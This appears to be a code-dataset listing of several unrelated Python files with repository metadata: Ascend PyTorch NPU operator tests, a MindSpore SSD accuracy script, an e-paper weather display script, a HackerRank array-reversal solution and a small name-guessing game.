9d09b5ee938002f8062d3f424057609241436849 | 2,851 | py | Python | test/test_npu/test_network_ops/test_adaptive_avg_pool2d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_adaptive_avg_pool2d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_adaptive_avg_pool2d_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 39.597222 | 89 | 0.706419 |
a07505e4eb5a51b8837ec00d0e2f92d01a0db13f | 6,803 | py | Python | official/cv/ssd/ascend310_quant_infer/acc.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/ssd/ascend310_quant_infer/acc.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/ssd/ascend310_quant_infer/acc.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 39.323699 | 114 | 0.607085 |
3e3c717523b993ee9fa6edf7ac9221db96d2784b | 2,290 | py | Python | test/test_npu/test_network_ops/test_grid_assign_positive.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_grid_assign_positive.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_grid_assign_positive.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 43.207547 | 88 | 0.70262 |
4b47cce5a9c9a761bc855cb4111ccfea28c51c19 | 4,519 | py | Python | display/main.py | mattholy/PIX | 79c017a2b26a8d82e408061586cf12a2ea3161d8 | [
"MIT"
] | null | null | null | display/main.py | mattholy/PIX | 79c017a2b26a8d82e408061586cf12a2ea3161d8 | [
"MIT"
] | null | null | null | display/main.py | mattholy/PIX | 79c017a2b26a8d82e408061586cf12a2ea3161d8 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
import epd2in7
import topIcon as ti
from PIL import Image
from PIL import ImageFont
from PIL import ImageDraw
import os
import urllib.request
import json
import time
def getWeather(item):#可选 城市、气温、体感温度、天气、气压、风向、风速、湿度
ApiUrl="http://www.weather.com.cn/data/cityinfo/10127... | 38.623932 | 118 | 0.625138 |
29c0e76fe0f3f9bafe96074eb77667fe5ec9d302 | 275 | py | Python | 30-Days-of-Code/Day07-Arrays.py | sadikkuzu/HackerRank | 2b1ed2cf41f6a5404c5b9293186f301b646b5d33 | [
"Apache-2.0"
] | 5 | 2019-03-09T22:44:01.000Z | 2021-09-14T00:11:38.000Z | 30-Days-of-Code/Day07-Arrays.py | jguerra7/HackerRank-4 | 7e1663d0050ffbb0fd885b8affdada9ea13b0e80 | [
"Apache-2.0"
] | 4 | 2018-08-16T09:39:47.000Z | 2018-09-14T17:37:07.000Z | 30-Days-of-Code/Day07-Arrays.py | jguerra7/HackerRank-4 | 7e1663d0050ffbb0fd885b8affdada9ea13b0e80 | [
"Apache-2.0"
] | 1 | 2020-06-01T23:38:35.000Z | 2020-06-01T23:38:35.000Z | # https://www.hackerrank.com/challenges/30-arrays
#!/bin/python
import math
import os
import random
import re
import sys
if __name__ == '__main__':
n = int(raw_input())
arr = map(int, raw_input().rstrip().split())
print ' '.join(str(x) for x in reversed(arr)) | 18.333333 | 49 | 0.672727 |
8aca801e58c64e7a8fa53ebe4d66af2d130919f0 | 507 | py | Python | task_6_7.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | task_6_7.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | task_6_7.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 6. Вариант 7.
# Создайте игру, в которой компьютер загадывает имя одного из двух сооснователей компании Google, а игрок должен его угадать.
# Videneev P.A.
# 26.05.2016
import random
a = random.randint(1,2)
if a == 1:
w="Сергей Брин"
elif a ==2:
w="Ларри Пейдж"
print("Основатель компании Google: ")
otvet ... | 28.166667 | 125 | 0.700197 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.